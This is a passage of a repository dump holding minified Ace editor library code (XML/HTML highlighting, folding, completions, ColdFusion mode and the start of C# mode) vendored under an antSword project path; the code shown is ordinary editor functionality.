\"comment.xml\"}],reference:[{token:\"constant.language.escape.reference.xml\",regex:\"(?:&#[0-9]+;)|(?:&#x[0-9a-fA-F]+;)|(?:&[a-zA-Z0-9_:\\\\.-]+;)\"}],attr_reference:[{token:\"constant.language.escape.reference.attribute-value.xml\",regex:\"(?:&#[0-9]+;)|(?:&#x[0-9a-fA-F]+;)|(?:&[a-zA-Z0-9_:\\\\.-]+;)\"}],tag:[{token:[\"meta.tag.punctuation.tag-open.xml\",\"meta.tag.punctuation.end-tag-open.xml\",\"meta.tag.tag-name.xml\"],regex:\"(?:(<)|(</))((?:\"+t+\":)?\"+t+\")\",next:[{include:\"attributes\"},{token:\"meta.tag.punctuation.tag-close.xml\",regex:\"/?>\",next:\"start\"}]}],tag_whitespace:[{token:\"text.tag-whitespace.xml\",regex:\"\\\\s+\"}],whitespace:[{token:\"text.whitespace.xml\",regex:\"\\\\s+\"}],string:[{token:\"string.xml\",regex:\"'\",push:[{token:\"string.xml\",regex:\"'\",next:\"pop\"},{defaultToken:\"string.xml\"}]},{token:\"string.xml\",regex:'\"',push:[{token:\"string.xml\",regex:'\"',next:\"pop\"},{defaultToken:\"string.xml\"}]}],attributes:[{token:\"entity.other.attribute-name.xml\",regex:\"(?:\"+t+\":)?\"+t+\"\"},{token:\"keyword.operator.attribute-equals.xml\",regex:\"=\"},{include:\"tag_whitespace\"},{include:\"attribute_value\"}],attribute_value:[{token:\"string.attribute-value.xml\",regex:\"'\",push:[{token:\"string.attribute-value.xml\",regex:\"'\",next:\"pop\"},{include:\"attr_reference\"},{defaultToken:\"string.attribute-value.xml\"}]},{token:\"string.attribute-value.xml\",regex:'\"',push:[{token:\"string.attribute-value.xml\",regex:'\"',next:\"pop\"},{include:\"attr_reference\"},{defaultToken:\"string.attribute-value.xml\"}]}]},this.constructor===s&&this.normalizeRules()};(function(){this.embedTagRules=function(e,t,n){this.$rules.tag.unshift({token:[\"meta.tag.punctuation.tag-open.xml\",\"meta.tag.\"+n+\".tag-name.xml\"],regex:\"(<)(\"+n+\"(?=\\\\s|>|$))\",next:[{include:\"attributes\"},{token:\"meta.tag.punctuation.tag-close.xml\",regex:\"/?>\",next:t+\"start\"}]}),this.$rules[n+\"-end\"]=[{include:\"attributes\"},{token:\"meta.tag.punctuation.tag-close.xml\",regex:\"/?>\",next:\"start\",onMatch:function(e,t,n){return n.splice(0),this.token}}],this.embedRules(e,t,[{token:[\"meta.tag.punctuation.end-tag-open.xml\",\"meta.tag.\"+n+\".tag-name.xml\"],regex:\"(</)(\"+n+\"(?=\\\\s|>|$))\",next:n+\"-end\"},{token:\"string.cdata.xml\",regex:\"<\\\\!\\\\[CDATA\\\\[\"},{token:\"string.cdata.xml\",regex:\"\\\\]\\\\]>\"}])}}).call(i.prototype),r.inherits(s,i),t.XmlHighlightRules=s}),ace.define(\"ace/mode/html_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/lang\",\"ace/mode/css_highlight_rules\",\"ace/mode/javascript_highlight_rules\",\"ace/mode/xml_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"../lib/lang\"),s=e(\"./css_highlight_rules\").CssHighlightRules,o=e(\"./javascript_highlight_rules\").JavaScriptHighlightRules,u=e(\"./xml_highlight_rules\").XmlHighlightRules,a=i.createMap({a:\"anchor\",button:\"form\",form:\"form\",img:\"image\",input:\"form\",label:\"form\",option:\"form\",script:\"script\",select:\"form\",textarea:\"form\",style:\"style\",table:\"table\",tbody:\"table\",td:\"table\",tfoot:\"table\",th:\"table\",tr:\"table\"}),f=function(){u.call(this),this.addRules({attributes:[{include:\"tag_whitespace\"},{token:\"entity.other.attribute-name.xml\",regex:\"[-_a-zA-Z0-9:.]+\"},{token:\"keyword.operator.attribute-equals.xml\",regex:\"=\",push:[{include:\"tag_whitespace\"},{token:\"string.unquoted.attribute-value.html\",regex:\"[^<>='\\\"`\\\\s]+\",next:\"pop\"},{token:\"empty\",regex:\"\",next:\"pop\"}]},{include:\"attribute_value\"}],tag:[{token:function(e,t){var n=a[t];return[\"meta.tag.punctuation.\"+(e==\"<\"?\"\":\"end-\")+\"tag-open.xml\",\"meta.tag\"+(n?\".\"+n:\"\")+\".tag-name.xml\"]},regex:\"(</?)([-_a-zA-Z0-9:.]+)\",next:\"tag_stuff\"}],tag_stuff:[{include:\"attributes\"},{token:\"meta.tag.punctuation.tag-close.xml\",regex:\"/?>\",next:\"start\"}]}),this.embedTagRules(s,\"css-\",\"style\"),this.embedTagRules(o,\"js-\",\"script\"),this.constructor===f&&this.normalizeRules()};r.inherits(f,u),t.HtmlHighlightRules=f}),ace.define(\"ace/mode/behaviour/xml\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/behaviour\",\"ace/token_iterator\",\"ace/lib/lang\"],function(e,t,n){\"use strict\";function u(e,t){return e.type.lastIndexOf(t+\".xml\")>-1}var r=e(\"../../lib/oop\"),i=e(\"../behaviour\").Behaviour,s=e(\"../../token_iterator\").TokenIterator,o=e(\"../../lib/lang\"),a=function(){this.add(\"string_dquotes\",\"insertion\",function(e,t,n,r,i){if(i=='\"'||i==\"'\"){var o=i,a=r.doc.getTextRange(n.getSelectionRange());if(a!==\"\"&&a!==\"'\"&&a!='\"'&&n.getWrapBehavioursEnabled())return{text:o+a+o,selection:!1};var f=n.getCursorPosition(),l=r.doc.getLine(f.row),c=l.substring(f.column,f.column+1),h=new s(r,f.row,f.column),p=h.getCurrentToken();if(c==o&&(u(p,\"attribute-value\")||u(p,\"string\")))return{text:\"\",selection:[1,1]};p||(p=h.stepBackward());if(!p)return;while(u(p,\"tag-whitespace\")||u(p,\"whitespace\"))p=h.stepBackward();var d=!c||c.match(/\\s/);if(u(p,\"attribute-equals\")&&(d||c==\">\")||u(p,\"decl-attribute-equals\")&&(d||c==\"?\"))return{text:o+o,selection:[1,1]}}}),this.add(\"string_dquotes\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&(s=='\"'||s==\"'\")){var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==s)return i.end.column++,i}}),this.add(\"autoclosing\",\"insertion\",function(e,t,n,r,i){if(i==\">\"){var o=n.getCursorPosition(),a=new s(r,o.row,o.column),f=a.getCurrentToken()||a.stepBackward();if(!f||!(u(f,\"tag-name\")||u(f,\"tag-whitespace\")||u(f,\"attribute-name\")||u(f,\"attribute-equals\")||u(f,\"attribute-value\")))return;if(u(f,\"reference.attribute-value\"))return;if(u(f,\"attribute-value\")){var l=f.value.charAt(0);if(l=='\"'||l==\"'\"){var c=f.value.charAt(f.value.length-1),h=a.getCurrentTokenColumn()+f.value.length;if(h>o.column||h==o.column&&l!=c)return}}while(!u(f,\"tag-name\"))f=a.stepBackward();var p=a.getCurrentTokenRow(),d=a.getCurrentTokenColumn();if(u(a.stepBackward(),\"end-tag-open\"))return;var v=f.value;p==o.row&&(v=v.substring(0,o.column-d));if(this.voidElements.hasOwnProperty(v.toLowerCase()))return;return{text:\"></\"+v+\">\",selection:[1,1]}}}),this.add(\"autoindent\",\"insertion\",function(e,t,n,r,i){if(i==\"\\n\"){var o=n.getCursorPosition(),u=r.getLine(o.row),a=new s(r,o.row,o.column),f=a.getCurrentToken();if(f&&f.type.indexOf(\"tag-close\")!==-1){if(f.value==\"/>\")return;while(f&&f.type.indexOf(\"tag-name\")===-1)f=a.stepBackward();if(!f)return;var l=f.value,c=a.getCurrentTokenRow();f=a.stepBackward();if(!f||f.type.indexOf(\"end-tag\")!==-1)return;if(this.voidElements&&!this.voidElements[l]){var h=r.getTokenAt(o.row,o.column+1),u=r.getLine(c),p=this.$getIndent(u),d=p+r.getTabString();return h&&h.value===\"</\"?{text:\"\\n\"+d+\"\\n\"+p,selection:[1,d.length,1,d.length]}:{text:\"\\n\"+d}}}}})};r.inherits(a,i),t.XmlBehaviour=a}),ace.define(\"ace/mode/folding/mixed\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/folding/fold_mode\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"./fold_mode\").FoldMode,s=t.FoldMode=function(e,t){this.defaultMode=e,this.subModes=t};r.inherits(s,i),function(){this.$getMode=function(e){typeof e!=\"string\"&&(e=e[0]);for(var t in this.subModes)if(e.indexOf(t)===0)return this.subModes[t];return null},this.$tryMode=function(e,t,n,r){var i=this.$getMode(e);return i?i.getFoldWidget(t,n,r):\"\"},this.getFoldWidget=function(e,t,n){return this.$tryMode(e.getState(n-1),e,t,n)||this.$tryMode(e.getState(n),e,t,n)||this.defaultMode.getFoldWidget(e,t,n)},this.getFoldWidgetRange=function(e,t,n){var r=this.$getMode(e.getState(n-1));if(!r||!r.getFoldWidget(e,t,n))r=this.$getMode(e.getState(n));if(!r||!r.getFoldWidget(e,t,n))r=this.defaultMode;return r.getFoldWidgetRange(e,t,n)}}.call(s.prototype)}),ace.define(\"ace/mode/folding/xml\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/lang\",\"ace/range\",\"ace/mode/folding/fold_mode\",\"ace/token_iterator\"],function(e,t,n){\"use strict\";function l(e,t){return e.type.lastIndexOf(t+\".xml\")>-1}var r=e(\"../../lib/oop\"),i=e(\"../../lib/lang\"),s=e(\"../../range\").Range,o=e(\"./fold_mode\").FoldMode,u=e(\"../../token_iterator\").TokenIterator,a=t.FoldMode=function(e,t){o.call(this),this.voidElements=e||{},this.optionalEndTags=r.mixin({},this.voidElements),t&&r.mixin(this.optionalEndTags,t)};r.inherits(a,o);var f=function(){this.tagName=\"\",this.closing=!1,this.selfClosing=!1,this.start={row:0,column:0},this.end={row:0,column:0}};(function(){this.getFoldWidget=function(e,t,n){var r=this._getFirstTagInLine(e,n);return r?r.closing||!r.tagName&&r.selfClosing?t==\"markbeginend\"?\"end\":\"\":!r.tagName||r.selfClosing||this.voidElements.hasOwnProperty(r.tagName.toLowerCase())?\"\":this._findEndTagInLine(e,n,r.tagName,r.end.column)?\"\":\"start\":\"\"},this._getFirstTagInLine=function(e,t){var n=e.getTokens(t),r=new f;for(var i=0;i<n.length;i++){var s=n[i];if(l(s,\"tag-open\")){r.end.column=r.start.column+s.value.length,r.closing=l(s,\"end-tag-open\"),s=n[++i];if(!s)return null;r.tagName=s.value,r.end.column+=s.value.length;for(i++;i<n.length;i++){s=n[i],r.end.column+=s.value.length;if(l(s,\"tag-close\")){r.selfClosing=s.value==\"/>\";break}}return r}if(l(s,\"tag-close\"))return r.selfClosing=s.value==\"/>\",r;r.start.column+=s.value.length}return null},this._findEndTagInLine=function(e,t,n,r){var i=e.getTokens(t),s=0;for(var o=0;o<i.length;o++){var u=i[o];s+=u.value.length;if(s<r)continue;if(l(u,\"end-tag-open\")){u=i[o+1];if(u&&u.value==n)return!0}}return!1},this._readTagForward=function(e){var t=e.getCurrentToken();if(!t)return null;var n=new f;do if(l(t,\"tag-open\"))n.closing=l(t,\"end-tag-open\"),n.start.row=e.getCurrentTokenRow(),n.start.column=e.getCurrentTokenColumn();else if(l(t,\"tag-name\"))n.tagName=t.value;else if(l(t,\"tag-close\"))return n.selfClosing=t.value==\"/>\",n.end.row=e.getCurrentTokenRow(),n.end.column=e.getCurrentTokenColumn()+t.value.length,e.stepForward(),n;while(t=e.stepForward());return null},this._readTagBackward=function(e){var t=e.getCurrentToken();if(!t)return null;var n=new f;do{if(l(t,\"tag-open\"))return n.closing=l(t,\"end-tag-open\"),n.start.row=e.getCurrentTokenRow(),n.start.column=e.getCurrentTokenColumn(),e.stepBackward(),n;l(t,\"tag-name\")?n.tagName=t.value:l(t,\"tag-close\")&&(n.selfClosing=t.value==\"/>\",n.end.row=e.getCurrentTokenRow(),n.end.column=e.getCurrentTokenColumn()+t.value.length)}while(t=e.stepBackward());return null},this._pop=function(e,t){while(e.length){var n=e[e.length-1];if(!t||n.tagName==t.tagName)return e.pop();if(this.optionalEndTags.hasOwnProperty(n.tagName)){e.pop();continue}return null}},this.getFoldWidgetRange=function(e,t,n){var r=this._getFirstTagInLine(e,n);if(!r)return null;var i=r.closing||r.selfClosing,o=[],a;if(!i){var f=new u(e,n,r.start.column),l={row:n,column:r.start.column+r.tagName.length+2};r.start.row==r.end.row&&(l.column=r.end.column);while(a=this._readTagForward(f)){if(a.selfClosing){if(!o.length)return a.start.column+=a.tagName.length+2,a.end.column-=2,s.fromPoints(a.start,a.end);continue}if(a.closing){this._pop(o,a);if(o.length==0)return s.fromPoints(l,a.start)}else o.push(a)}}else{var f=new u(e,n,r.end.column),c={row:n,column:r.start.column};while(a=this._readTagBackward(f)){if(a.selfClosing){if(!o.length)return a.start.column+=a.tagName.length+2,a.end.column-=2,s.fromPoints(a.start,a.end);continue}if(!a.closing){this._pop(o,a);if(o.length==0)return a.start.column+=a.tagName.length+2,a.start.row==a.end.row&&a.start.column<a.end.column&&(a.start.column=a.end.column),s.fromPoints(a.start,c)}else o.push(a)}}}}).call(a.prototype)}),ace.define(\"ace/mode/folding/html\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/folding/mixed\",\"ace/mode/folding/xml\",\"ace/mode/folding/cstyle\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"./mixed\").FoldMode,s=e(\"./xml\").FoldMode,o=e(\"./cstyle\").FoldMode,u=t.FoldMode=function(e,t){i.call(this,new s(e,t),{\"js-\":new o,\"css-\":new o})};r.inherits(u,i)}),ace.define(\"ace/mode/html_completions\",[\"require\",\"exports\",\"module\",\"ace/token_iterator\"],function(e,t,n){\"use strict\";function f(e,t){return e.type.lastIndexOf(t+\".xml\")>-1}function l(e,t){var n=new r(e,t.row,t.column),i=n.getCurrentToken();while(i&&!f(i,\"tag-name\"))i=n.stepBackward();if(i)return i.value}var r=e(\"../token_iterator\").TokenIterator,i=[\"accesskey\",\"class\",\"contenteditable\",\"contextmenu\",\"dir\",\"draggable\",\"dropzone\",\"hidden\",\"id\",\"inert\",\"itemid\",\"itemprop\",\"itemref\",\"itemscope\",\"itemtype\",\"lang\",\"spellcheck\",\"style\",\"tabindex\",\"title\",\"translate\"],s=[\"onabort\",\"onblur\",\"oncancel\",\"oncanplay\",\"oncanplaythrough\",\"onchange\",\"onclick\",\"onclose\",\"oncontextmenu\",\"oncuechange\",\"ondblclick\",\"ondrag\",\"ondragend\",\"ondragenter\",\"ondragleave\",\"ondragover\",\"ondragstart\",\"ondrop\",\"ondurationchange\",\"onemptied\",\"onended\",\"onerror\",\"onfocus\",\"oninput\",\"oninvalid\",\"onkeydown\",\"onkeypress\",\"onkeyup\",\"onload\",\"onloadeddata\",\"onloadedmetadata\",\"onloadstart\",\"onmousedown\",\"onmousemove\",\"onmouseout\",\"onmouseover\",\"onmouseup\",\"onmousewheel\",\"onpause\",\"onplay\",\"onplaying\",\"onprogress\",\"onratechange\",\"onreset\",\"onscroll\",\"onseeked\",\"onseeking\",\"onselect\",\"onshow\",\"onstalled\",\"onsubmit\",\"onsuspend\",\"ontimeupdate\",\"onvolumechange\",\"onwaiting\"],o=i.concat(s),u={html:[\"manifest\"],head:[],title:[],base:[\"href\",\"target\"],link:[\"href\",\"hreflang\",\"rel\",\"media\",\"type\",\"sizes\"],meta:[\"http-equiv\",\"name\",\"content\",\"charset\"],style:[\"type\",\"media\",\"scoped\"],script:[\"charset\",\"type\",\"src\",\"defer\",\"async\"],noscript:[\"href\"],body:[\"onafterprint\",\"onbeforeprint\",\"onbeforeunload\",\"onhashchange\",\"onmessage\",\"onoffline\",\"onpopstate\",\"onredo\",\"onresize\",\"onstorage\",\"onundo\",\"onunload\"],section:[],nav:[],article:[\"pubdate\"],aside:[],h1:[],h2:[],h3:[],h4:[],h5:[],h6:[],header:[],footer:[],address:[],main:[],p:[],hr:[],pre:[],blockquote:[\"cite\"],ol:[\"start\",\"reversed\"],ul:[],li:[\"value\"],dl:[],dt:[],dd:[],figure:[],figcaption:[],div:[],a:[\"href\",\"target\",\"ping\",\"rel\",\"media\",\"hreflang\",\"type\"],em:[],strong:[],small:[],s:[],cite:[],q:[\"cite\"],dfn:[],abbr:[],data:[],time:[\"datetime\"],code:[],\"var\":[],samp:[],kbd:[],sub:[],sup:[],i:[],b:[],u:[],mark:[],ruby:[],rt:[],rp:[],bdi:[],bdo:[],span:[],br:[],wbr:[],ins:[\"cite\",\"datetime\"],del:[\"cite\",\"datetime\"],img:[\"alt\",\"src\",\"height\",\"width\",\"usemap\",\"ismap\"],iframe:[\"name\",\"src\",\"height\",\"width\",\"sandbox\",\"seamless\"],embed:[\"src\",\"height\",\"width\",\"type\"],object:[\"param\",\"data\",\"type\",\"height\",\"width\",\"usemap\",\"name\",\"form\",\"classid\"],param:[\"name\",\"value\"],video:[\"src\",\"autobuffer\",\"autoplay\",\"loop\",\"controls\",\"width\",\"height\",\"poster\"],audio:[\"src\",\"autobuffer\",\"autoplay\",\"loop\",\"controls\"],source:[\"src\",\"type\",\"media\"],track:[\"kind\",\"src\",\"srclang\",\"label\",\"default\"],canvas:[\"width\",\"height\"],map:[\"name\"],area:[\"shape\",\"coords\",\"href\",\"hreflang\",\"alt\",\"target\",\"media\",\"rel\",\"ping\",\"type\"],svg:[],math:[],table:[\"summary\"],caption:[],colgroup:[\"span\"],col:[\"span\"],tbody:[],thead:[],tfoot:[],tr:[],td:[\"headers\",\"rowspan\",\"colspan\"],th:[\"headers\",\"rowspan\",\"colspan\",\"scope\"],form:[\"accept-charset\",\"action\",\"autocomplete\",\"enctype\",\"method\",\"name\",\"novalidate\",\"target\"],fieldset:[\"disabled\",\"form\",\"name\"],legend:[],label:[\"form\",\"for\"],input:[\"type\",\"accept\",\"alt\",\"autocomplete\",\"checked\",\"disabled\",\"form\",\"formaction\",\"formenctype\",\"formmethod\",\"formnovalidate\",\"formtarget\",\"height\",\"list\",\"max\",\"maxlength\",\"min\",\"multiple\",\"pattern\",\"placeholder\",\"readonly\",\"required\",\"size\",\"src\",\"step\",\"width\",\"files\",\"value\"],button:[\"autofocus\",\"disabled\",\"form\",\"formaction\",\"formenctype\",\"formmethod\",\"formnovalidate\",\"formtarget\",\"name\",\"value\",\"type\"],select:[\"autofocus\",\"disabled\",\"form\",\"multiple\",\"name\",\"size\"],datalist:[],optgroup:[\"disabled\",\"label\"],option:[\"disabled\",\"selected\",\"label\",\"value\"],textarea:[\"autofocus\",\"disabled\",\"form\",\"maxlength\",\"name\",\"placeholder\",\"readonly\",\"required\",\"rows\",\"cols\",\"wrap\"],keygen:[\"autofocus\",\"challenge\",\"disabled\",\"form\",\"keytype\",\"name\"],output:[\"for\",\"form\",\"name\"],progress:[\"value\",\"max\"],meter:[\"value\",\"min\",\"max\",\"low\",\"high\",\"optimum\"],details:[\"open\"],summary:[],command:[\"type\",\"label\",\"icon\",\"disabled\",\"checked\",\"radiogroup\",\"command\"],menu:[\"type\",\"label\"],dialog:[\"open\"]},a=Object.keys(u),c=function(){};(function(){this.getCompletions=function(e,t,n,r){var i=t.getTokenAt(n.row,n.column);return i?f(i,\"tag-name\")||f(i,\"tag-open\")||f(i,\"end-tag-open\")?this.getTagCompletions(e,t,n,r):f(i,\"tag-whitespace\")||f(i,\"attribute-name\")?this.getAttributeCompetions(e,t,n,r):[]:[]},this.getTagCompletions=function(e,t,n,r){return a.map(function(e){return{value:e,meta:\"tag\",score:Number.MAX_VALUE}})},this.getAttributeCompetions=function(e,t,n,r){var i=l(t,n);if(!i)return[];var s=o;return i in u&&(s=s.concat(u[i])),s.map(function(e){return{caption:e,snippet:e+'=\"$0\"',meta:\"attribute\",score:Number.MAX_VALUE}})}}).call(c.prototype),t.HtmlCompletions=c}),ace.define(\"ace/mode/html\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/lang\",\"ace/mode/text\",\"ace/mode/javascript\",\"ace/mode/css\",\"ace/mode/html_highlight_rules\",\"ace/mode/behaviour/xml\",\"ace/mode/folding/html\",\"ace/mode/html_completions\",\"ace/worker/worker_client\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"../lib/lang\"),s=e(\"./text\").Mode,o=e(\"./javascript\").Mode,u=e(\"./css\").Mode,a=e(\"./html_highlight_rules\").HtmlHighlightRules,f=e(\"./behaviour/xml\").XmlBehaviour,l=e(\"./folding/html\").FoldMode,c=e(\"./html_completions\").HtmlCompletions,h=e(\"../worker/worker_client\").WorkerClient,p=[\"area\",\"base\",\"br\",\"col\",\"embed\",\"hr\",\"img\",\"input\",\"keygen\",\"link\",\"meta\",\"menuitem\",\"param\",\"source\",\"track\",\"wbr\"],d=[\"li\",\"dt\",\"dd\",\"p\",\"rt\",\"rp\",\"optgroup\",\"option\",\"colgroup\",\"td\",\"th\"],v=function(e){this.fragmentContext=e&&e.fragmentContext,this.HighlightRules=a,this.$behaviour=new f,this.$completer=new c,this.createModeDelegates({\"js-\":o,\"css-\":u}),this.foldingRules=new l(this.voidElements,i.arrayToMap(d))};r.inherits(v,s),function(){this.blockComment={start:\"<!--\",end:\"-->\"},this.voidElements=i.arrayToMap(p),this.getNextLineIndent=function(e,t,n){return this.$getIndent(t)},this.checkOutdent=function(e,t,n){return!1},this.getCompletions=function(e,t,n,r){return this.$completer.getCompletions(e,t,n,r)},this.createWorker=function(e){if(this.constructor!=v)return;var t=new h([\"ace\"],\"ace/mode/html_worker\",\"Worker\");return t.attachToDocument(e.getDocument()),this.fragmentContext&&t.call(\"setOptions\",[{context:this.fragmentContext}]),t.on(\"error\",function(t){e.setAnnotations(t.data)}),t.on(\"terminate\",function(){e.clearAnnotations()}),t},this.$id=\"ace/mode/html\"}.call(v.prototype),t.Mode=v}),ace.define(\"ace/mode/coldfusion_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/javascript_highlight_rules\",\"ace/mode/html_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./javascript_highlight_rules\").JavaScriptHighlightRules,s=e(\"./html_highlight_rules\").HtmlHighlightRules,o=function(){s.call(this),this.embedTagRules(i,\"cfjs-\",\"cfscript\"),this.normalizeRules()};r.inherits(o,s),t.ColdfusionHighlightRules=o}),ace.define(\"ace/mode/coldfusion\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/lang\",\"ace/mode/html\",\"ace/mode/coldfusion_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"../lib/lang\"),s=e(\"./html\").Mode,o=e(\"./coldfusion_highlight_rules\").ColdfusionHighlightRules,u=\"cfabort|cfapplication|cfargument|cfassociate|cfbreak|cfcache|cfcollection|cfcookie|cfdbinfo|cfdirectory|cfdump|cfelse|cfelseif|cferror|cfexchangecalendar|cfexchangeconnection|cfexchangecontact|cfexchangefilter|cfexchangetask|cfexit|cffeed|cffile|cfflush|cfftp|cfheader|cfhtmlhead|cfhttpparam|cfimage|cfimport|cfinclude|cfindex|cfinsert|cfinvokeargument|cflocation|cflog|cfmailparam|cfNTauthenticate|cfobject|cfobjectcache|cfparam|cfpdfformparam|cfprint|cfprocparam|cfprocresult|cfproperty|cfqueryparam|cfregistry|cfreportparam|cfrethrow|cfreturn|cfschedule|cfsearch|cfset|cfsetting|cfthrow|cfzipparam)\".split(\"|\"),a=function(){s.call(this),this.HighlightRules=o};r.inherits(a,s),function(){this.voidElements=r.mixin(i.arrayToMap(u),this.voidElements),this.getNextLineIndent=function(e,t,n){return this.$getIndent(t)},this.$id=\"ace/mode/coldfusion\"}.call(a.prototype),t.Mode=a})"
  },
  {
    "path": "antSword/static/libs/ace/mode-csharp.js",
    "content": "ace.define(\"ace/mode/doc_comment_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(){this.$rules={start:[{token:\"comment.doc.tag\",regex:\"@[\\\\w\\\\d_]+\"},s.getTagRule(),{defaultToken:\"comment.doc\",caseInsensitive:!0}]}};r.inherits(s,i),s.getTagRule=function(e){return{token:\"comment.doc.tag.storage.type\",regex:\"\\\\b(?:TODO|FIXME|XXX|HACK)\\\\b\"}},s.getStartRule=function(e){return{token:\"comment.doc\",regex:\"\\\\/\\\\*(?=\\\\*)\",next:e}},s.getEndRule=function(e){return{token:\"comment.doc\",regex:\"\\\\*\\\\/\",next:e}},t.DocCommentHighlightRules=s}),ace.define(\"ace/mode/csharp_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/doc_comment_highlight_rules\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./doc_comment_highlight_rules\").DocCommentHighlightRules,s=e(\"./text_highlight_rules\").TextHighlightRules,o=function(){var e=this.createKeywordMapper({\"variable.language\":\"this\",keyword:\"abstract|event|new|struct|as|explicit|null|switch|base|extern|object|this|bool|false|operator|throw|break|finally|out|true|byte|fixed|override|try|case|float|params|typeof|catch|for|private|uint|char|foreach|protected|ulong|checked|goto|public|unchecked|class|if|readonly|unsafe|const|implicit|ref|ushort|continue|in|return|using|decimal|int|sbyte|virtual|default|interface|sealed|volatile|delegate|internal|short|void|do|is|sizeof|while|double|lock|stackalloc|else|long|static|enum|namespace|string|var|dynamic\",\"constant.language\":\"null|true|false\"},\"identifier\");this.$rules={start:[{token:\"comment\",regex:\"\\\\/\\\\/.*$\"},i.getStartRule(\"doc-start\"),{token:\"comment\",regex:\"\\\\/\\\\*\",next:\"comment\"},{token:\"string\",regex:/'(?:.|\\\\(:?u[\\da-fA-F]+|x[\\da-fA-F]+|[tbrf'\"n]))'/},{token:\"string\",start:'\"',end:'\"|$',next:[{token:\"constant.language.escape\",regex:/\\\\(:?u[\\da-fA-F]+|x[\\da-fA-F]+|[tbrf'\"n])/},{token:\"invalid\",regex:/\\\\./}]},{token:\"string\",start:'@\"',end:'\"',next:[{token:\"constant.language.escape\",regex:'\"\"'}]},{token:\"constant.numeric\",regex:\"0[xX][0-9a-fA-F]+\\\\b\"},{token:\"constant.numeric\",regex:\"[+-]?\\\\d+(?:(?:\\\\.\\\\d*)?(?:[eE][+-]?\\\\d+)?)?\\\\b\"},{token:\"constant.language.boolean\",regex:\"(?:true|false)\\\\b\"},{token:e,regex:\"[a-zA-Z_$][a-zA-Z0-9_$]*\\\\b\"},{token:\"keyword.operator\",regex:\"!|\\\\$|%|&|\\\\*|\\\\-\\\\-|\\\\-|\\\\+\\\\+|\\\\+|~|===|==|=|!=|!==|<=|>=|<<=|>>=|>>>=|<>|<|>|!|&&|\\\\|\\\\||\\\\?\\\\:|\\\\*=|%=|\\\\+=|\\\\-=|&=|\\\\^=|\\\\b(?:in|instanceof|new|delete|typeof|void)\"},{token:\"keyword\",regex:\"^\\\\s*#(if|else|elif|endif|define|undef|warning|error|line|region|endregion|pragma)\"},{token:\"punctuation.operator\",regex:\"\\\\?|\\\\:|\\\\,|\\\\;|\\\\.\"},{token:\"paren.lparen\",regex:\"[[({]\"},{token:\"paren.rparen\",regex:\"[\\\\])}]\"},{token:\"text\",regex:\"\\\\s+\"}],comment:[{token:\"comment\",regex:\".*?\\\\*\\\\/\",next:\"start\"},{token:\"comment\",regex:\".+\"}]},this.embedRules(i,\"doc-\",[i.getEndRule(\"start\")]),this.normalizeRules()};r.inherits(o,s),t.CSharpHighlightRules=o}),ace.define(\"ace/mode/matching_brace_outdent\",[\"require\",\"exports\",\"module\",\"ace/range\"],function(e,t,n){\"use strict\";var r=e(\"../range\").Range,i=function(){};(function(){this.checkOutdent=function(e,t){return/^\\s+$/.test(e)?/^\\s*\\}/.test(t):!1},this.autoOutdent=function(e,t){var n=e.getLine(t),i=n.match(/^(\\s*\\})/);if(!i)return 0;var s=i[1].length,o=e.findMatchingBracket({row:t,column:s});if(!o||o.row==t)return 0;var u=this.$getIndent(e.getLine(o.row));e.replace(new r(t,0,t,s-1),u)},this.$getIndent=function(e){return e.match(/^\\s*/)[0]}}).call(i.prototype),t.MatchingBraceOutdent=i}),ace.define(\"ace/mode/behaviour/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/behaviour\",\"ace/token_iterator\",\"ace/lib/lang\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../behaviour\").Behaviour,s=e(\"../../token_iterator\").TokenIterator,o=e(\"../../lib/lang\"),u=[\"text\",\"paren.rparen\",\"punctuation.operator\"],a=[\"text\",\"paren.rparen\",\"punctuation.operator\",\"comment\"],f,l={},c=function(e){var t=-1;e.multiSelect&&(t=e.selection.index,l.rangeCount!=e.multiSelect.rangeCount&&(l={rangeCount:e.multiSelect.rangeCount}));if(l[t])return f=l[t];f=l[t]={autoInsertedBrackets:0,autoInsertedRow:-1,autoInsertedLineEnd:\"\",maybeInsertedBrackets:0,maybeInsertedRow:-1,maybeInsertedLineStart:\"\",maybeInsertedLineEnd:\"\"}},h=function(e,t,n,r){var i=e.end.row-e.start.row;return{text:n+t+r,selection:[0,e.start.column+1,i,e.end.column+(i?0:1)]}},p=function(){this.add(\"braces\",\"insertion\",function(e,t,n,r,i){var s=n.getCursorPosition(),u=r.doc.getLine(s.row);if(i==\"{\"){c(n);var a=n.getSelectionRange(),l=r.doc.getTextRange(a);if(l!==\"\"&&l!==\"{\"&&n.getWrapBehavioursEnabled())return 